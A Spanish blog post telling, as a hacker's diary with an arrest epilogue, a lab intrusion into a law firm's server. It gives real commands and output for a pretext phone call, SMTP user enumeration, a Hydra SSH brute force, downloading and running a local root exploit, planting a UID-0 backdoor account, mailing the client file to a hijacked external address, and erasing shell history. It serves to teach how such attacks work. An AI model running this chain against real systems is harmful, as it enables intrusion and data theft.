Ir al contenido principal

Historias de hackers: "Un servidor desactualizado"

Día 1.

Suena el teléfono a las 3 de la tarde, justo a la hora de comer. Descuelgo y una voz al otro lado me dice que le ha pasado mi contacto un amigo común y que quiere proponerme un “trabajito”.
Como hacker de sombrero negro (hacker malicioso) me gano la vida atacando sistemas para empresas que me contratan por suculentas cantidades, así que rápidamente acepto el trabajo.



Mi interlocutor, que no se identifica, me pide el listado de clientes de la empresa ABOGADOS S.A, que supongo que es su empresa rival, pero como es costumbre en este trabajo, no hago más preguntas que las precisas.
Durante la tarde me dedico a recopilar información sobre la empresa. Casi todo está en Internet. Se trata de una empresa de servicios jurídicos. No muy grande, lo cual me extraña porque suelo trabajar para grandes empresas.
Localizo uno de sus servidores (probablemente el único que tienen) así que usando la herramienta nmap escaneo los puertos.


root@bt:~# nmap -sV -O 192.168.56.101

Starting Nmap 6.01 ( http://nmap.org ) at 2013-06-01 12:12 CEST
Nmap scan report for 192.168.56.101
Host is up (0.00040s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:99:C3:DE (Cadmus Computer Systems)
Device type: general purpose
OpenSSH 4.2p1 Debian 7ubuntu3.2 (protocol 2.0)
Exim smtpd 4.60
Apache httpd 2.0.55 ((Ubuntu) PHP/5.1.2)
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.9 - 2.6.31
Network Distance: 1 hop
Service Info: Host: victima; OS: Linux; CPE: cpe:/o:linux:kernel

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.64 seconds



Tiene un servidor web Apache 2.0.55 con PHP 5.1.2. También dispone de un servidor SMTP Exim4.60. El sistema operativo es Linux con un kernel de la serie 2.6.
Me llama la atención que tienen un servidor SSH en el puerto 22, por lo que parece que, al menos algún usuario, suele conectarse de forma remota por terminal.
En definitiva, un sistema no muy actualizado. De hecho me suena que la versión de Exim que utilizan tenía alguna vulnerabilidad remota. Tendré que mirar en mi base de datos de vulnerabilidades.
En cualquier caso, me decido por intentar la entrada a través de SSH, para lo que necesito un nombre de usuario de algún trabajador y su contraseña.

Recurro a la ingeniería social y hago una llamada a la empresa:
- ABOGADOS S.A., buenos días.

- Buenos días, he visto en su web que dan servicios de asesoría jurídica para empresas. ¿podría hablar con alguien para ver precios y condiciones?

- Si, por supuesto, déjeme su nombre y número de teléfono y le llama nuestro comercial en 5 ó 10 minutos.

- Vale, mi nombre es... ummm. Lo que pasa es que voy a entrar a una reunión y no sé cuanto voy a tardar. ¿Me da el nombre del comercial y su teléfono y yo lo llamo en cuanto salga?

- Si, claro. Pedro Sánchez. Teléfono 654XXXXXX.

- Muchas gracias. Un saludo.

Bien, ya tengo un nombre. Es un poco tarde, así que mañana seguiré con mis pesquisas.

Día 2

Tengo un nombre -Pedro Sánchez-, pero ahora necesito saber cuál es su nombre de usuario en el sistema. Seguramente psanchez, pedro.sanchez, pedrosan o algo similar.
Necesito saberlo a ciencia cierta, así que vamos a aprovechar que tienen un servidor SMTP para sacar la información que necesitamos. Conecto al puerto 25 del servidor por telnet, y usando los comandos del protocolo SMTP interrogo al servidor de correo.


root@bt:~# telnet 192.168.56.101 25
Trying 192.168.56.101...
Connected to 192.168.56.101.
Escape character is '^]'.
220 victima ESMTP Exim 4.60 Sat, 01 Jun 2013 12:27:12 +0200
HELO terra.es
250 victima Hello terra.es [192.168.56.102]
MAIL FROM: 
250 OK
RCPT TO: <psanchez@localhost>
550 unknown user
RCPT TO: <pedro.sanchez@localhost>
550 unknown user
RCPT TO: <pedrosan@localhost>
550 unknown user
RCPT TO: <pedro@localhost>
250 Accepted
quit
Connection closed by foreign host.



¡Bingo! Su nombre de usuario es pedro a secas. Muy original.
Ahora sólo necesitamos su contraseña de acceso. Es un comercial, así que no es una persona muy técnica. No creo que su password sea muy robusta, así que vamos a usar la herramienta Hydra para hacer un ataque por diccionario.
Para ello uso mi diccionario de passwords habitual que he descargado de:
https://dazzlepod.com/site_media/txt/passwords.txt

Hydra acepta varios tipos de parámetros, pero los que me interesan son -l para indicar el nombre de usuario y -P para indicar cuál es el archivo de texto que contiene el diccionario de passwords. Finalmente, le indico el servidor que quiero atacar y el protocolo, en este caso, ssh.


root@bt:~# hydra -l pedro -P passwords.txt  192.168.56.101 ssh
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 12:39:42
[DATA] 16 tasks, 1 server, 2151236 login tries (l:1/p:2151236), ~134452 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 259.00 tries/min, 259 tries in 00:01h, 2150977 todo in 138:25h, 16 active
[STATUS] 266.00 tries/min, 798 tries in 00:03h, 2150438 todo in 134:45h, 16 active
[STATUS] 260.00 tries/min, 1820 tries in 00:07h, 2149416 todo in 137:47h, 16 active
[22][ssh] host: 192.168.56.101   login: pedro   password: awesome0
[STATUS] attack finished for 192.168.56.101 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 12:51:15



¡Tenemos la clave! Usuario pedro y clave awesome0. No ha sido tan difícil. Vamos a probar a conectarnos y explorar un poco el sistema a ver qué encontramos.


root@bt:~# ssh 192.168.56.101 -l pedro
pedro@192.168.56.101's password:
Linux victima 2.6.15-51-server #1 SMP Thu Dec 6 21:37:18 UTC 2007 i686 GNU/Linux

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.



Bien, se trata de un Linux con kernel 2.6.15. Algo antiguo y seguramente sin parchear. Estamos de suerte.
Vamos a ver qué usuarios hay en el sistema.


pedro@victima:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
alberto:x:1000:1000:alberto,,,:/home/alberto:/bin/bash
director:x:1001:1001:Director,,,:/home/director:/bin/bash
juan:x:1002:1002:juan,,,:/home/juan:/bin/bash
pedro:x:1003:1003:pedro,,,:/home/pedro:/bin/bash



Tenemos a varios usuarios, pero el más me llama la atención es uno llamado director. A ver qué guarda en su directorio home.


pedro@victima:~$ ls /home/director/
agenda  clientes  contraseñas  datos_contables



Bien, tiene un archivo llamado clientes. Esto promete. A ver que tiene.


pedro@victima:~$ cat /home/director/clientes
cat: /home/director/clientes: Permission denied



No podía ser tan fácil. El usuario pedro no tiene permisos de lectura para el archivo clientes. Pruebo de nuevo con Hydra para ver si puedo sacar la contraseña del usuario director, pero sin éxito. Su clave es más robusta que la de pedro.
Sólo me queda una opción. Lograr escalar privilegios y convertirme en root.

Día 3

Por suerte, el kernel del sistema operativo no está actualizado, así que lo más probable es que tenga alguna vulnerabilidad. Busco en http://www.exploit-db.com y localizo una vulnerabilidad para kernels Linux con versiones anteriores a 2.6.19. Como la de la máquina víctima es 2.6.15, creo que me vendrá como anillo al dedo.
Esta es la vulnerabilidad que me propongo explotar:
http://www.exploit-db.com/exploits/9575/

Se trata de un código fuente en C que explota un bug en la función udp_sendmsg() de la implementación del protocolo UDP. Permite a usuarios locales ganar privilegios o causar una denegación de servicio forzando un NULL pointer dereference.
Para compilar el exploit tenemos dos opciones. O lo compilamos estáticamente en otra máquina o probamos suerte y si la víctima tiene instalado el compilador de C, lo tendremos aún más fácil. El código fuente del exploit está directamente accesible a través de la URL siguiente.
http://www.exploit-db.com/download/9575

Así que vamos a probar suerte en el servidor de la víctima descargado con wget el código fuente y tratando de compilarlo.


pedro@victima:~$ wget http://www.exploit-db.com/download/9575 -O xpl.c
--2013-06-01 13:26:27--  http://www.exploit-db.com/download/9575
Resolving www.exploit-db.com... 23.23.150.193, 23.23.129.3
Connecting to www.exploit-db.com|23.23.150.193|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/9575/ [following]
--2013-06-01 13:26:29--  http://www.exploit-db.com/download/9575/
Reusing existing connection to www.exploit-db.com:80.
HTTP request sent, awaiting response... 200 OK
Length: 6520 (6.4K) [application/txt]
Saving to: `xpl.c'

100%[===========================================>] 6,520    --.-K/s   in 0.003s

2013-06-01 13:26:30 (1.78 MB/s) - `xpl.c' saved [6520/6520]



Pruebo a compilarlo.


pedro@victima:~$ gcc -o xpl  xpl.c
pedro@victima:~$ ls
xpl  xpl.c



Lo ejecuto.


pedro@victima:~$ ./xpl
hoagie_udp_sendmsg.c - linux root <= 2.6.19 local
-andi / void.at
sh-3.1# whoami
root

¡Ha funcionado! Ya soy root de la máquina. Vamos a asegurarnos el acceso futuro por si parchean o actualizan el kernel y no puedo volver a usar esta vulnerabilidad. Voy a usar un usuario de sistema que no suela utilizarse, como el usuario irc, para dejarme una puerta abierta. Podría instalar un rootkit fácilmente, pero este método es más sencillo y bastante efectivo. Para ello voy a editar el archivo /etc/passwd y voy a cambiar la línea:
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
por:
irc:x:0:0:ircd:/var/run/ircd:/bin/sh

He cambiado el ID de usuario de 39 a 0, que es el UID de root. Cualquier usuario con UID 0 es administrador de la máquina. Lo mismo hemos hecho con el grupo. También he cambiado la password de este usuario para asegurarme el acceso. Le pongo la password atacante. Abro otra terminal y compruebo que tengo acceso con el usuario irc.

root@bt:~# ssh 192.168.56.101 -l irc
irc@192.168.56.101's password:
Linux victima 2.6.15-51-server #1 SMP Thu Dec 6 21:37:18 UTC 2007 i686 GNU/Linux

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Could not chdir to home directory /var/run/ircd: No such file or directory
root@victima:/# whoami
root


Todo correcto. Borro las pruebas del exploit.

rm xpl*


Y por último, me envío el fichero de clientes a una cuenta de correo externa que tengo hackeada de otra víctima, para que no puedan rastrearme. Lo hago usando el comando mail.

mail -s “Datos de clientes” victimaemail@terra.es < /home/director/clientes


Borro el historial de comandos.

history -c


Misión cumplida...

Epílogo

Obviamente, a los pocos meses, una pareja de la Guardia Civil, perteneciente al grupo de delitos telemáticos se presentó en casa del "Hacker" y lo detuvo. Se enfrenta a una pena de cárcel bastante grande. Un equipo de profesionales de la seguridad fue capaz de realizar un análisis forense del servidor implicado y poner las pruebas obtenidas a disposición de un juez. Tras la instrucción del caso y la identificación del cibercriminal, éste fue detenido.
La historia de como los analistas forenses obtuvieron la información necesaria para cazar al criminal es también interesante, pero esa os la cuento otro día.

Comentarios

Entradas populares de este blog

Creando firmas de virus para ClamAV

ClamAv es un antivirus opensource y multiplataforma creado por Tomasz Kojm muy utilizado en los servidores de correo Linux. Este antivirus es desarrollado por la comunidad, y su utilidad práctica depende de que su base de datos de firmas sea lo suficientemente grande y actualizado. Para ello es necesario que voluntarios contribuyan activamente aportando firmas. El presente artículo pretende describir de manera sencilla cómo crear firmas de virus para ClamAV y contribuir con ellas a la comunidad.

Manejo de grafos con NetworkX en Python

El aprendizaje computacional es un área de investigación que en los últimos años ha tenido un auge importante, sobre todo gracias al aprendizaje profundo (Deep Learning). Pero no todo son redes neuronales. Paralelamente a estas técnicas, más bien basadas en el aprendizaje de patrones, también hay un auge de otras técnicas, digamos, más basadas en el aprendizaje simbólico. Si echamos la vista algunos años atrás, podemos considerar que quizá, la promesa de la web semántica como gran base de conocimiento ha fracasado, pero no es tan así. Ha ido transmutándose y evolucionando hacia bases de conocimiento basadas en ontologías a partir de las cuales es posible obtener nuevo conocimiento. Es lo que llamamos razonamiento automático y empresas como Google ya lo utilizan para ofrecerte información adicional sobre tus búsquedas. Ellos lo llaman Grafos de Conocimiento o Knowledge Graphs . Gracias a estos grafos de conocimiento, Google puede ofrecerte información adicional sobre tu búsqueda, ad

Scripts en NMAP

Cuando pensamos en NMAP, pensamos en el escaneo de puertos de un host objetivo al que estamos relizando una prueba de intrusión, pero gracias a las posibilidades que nos ofrecen su Scripting Engine , NMAP es mucho más que eso. Antes de continuar, un aviso: algunas de posibilidades que nos ofrecen los scripts de NMAP son bastante intrusivas, por lo que recomiendo hacerlas contra hosts propios, máquinas virtuales como las de Metasploitable, o contrato de pentesting mediante. Para este artículo voy a usar las máquinas de Metasploitable3 . No voy a entrar en los detalles sobre el uso básico de NMAP, ya que hay miles de tutoriales en Internet que hablan sobre ello. Lo cierto es que NMAP tiene algunas opciones que permiten obtener información extra, además de qué puertos están abiertos y cuales no. Por ejemplo, la opción -sV trata de obtener el servicio concreto, e incluso la versión del servicio que está corriendo en cada puerto. Otro ejemplo es la opción -O, que intenta averiguar el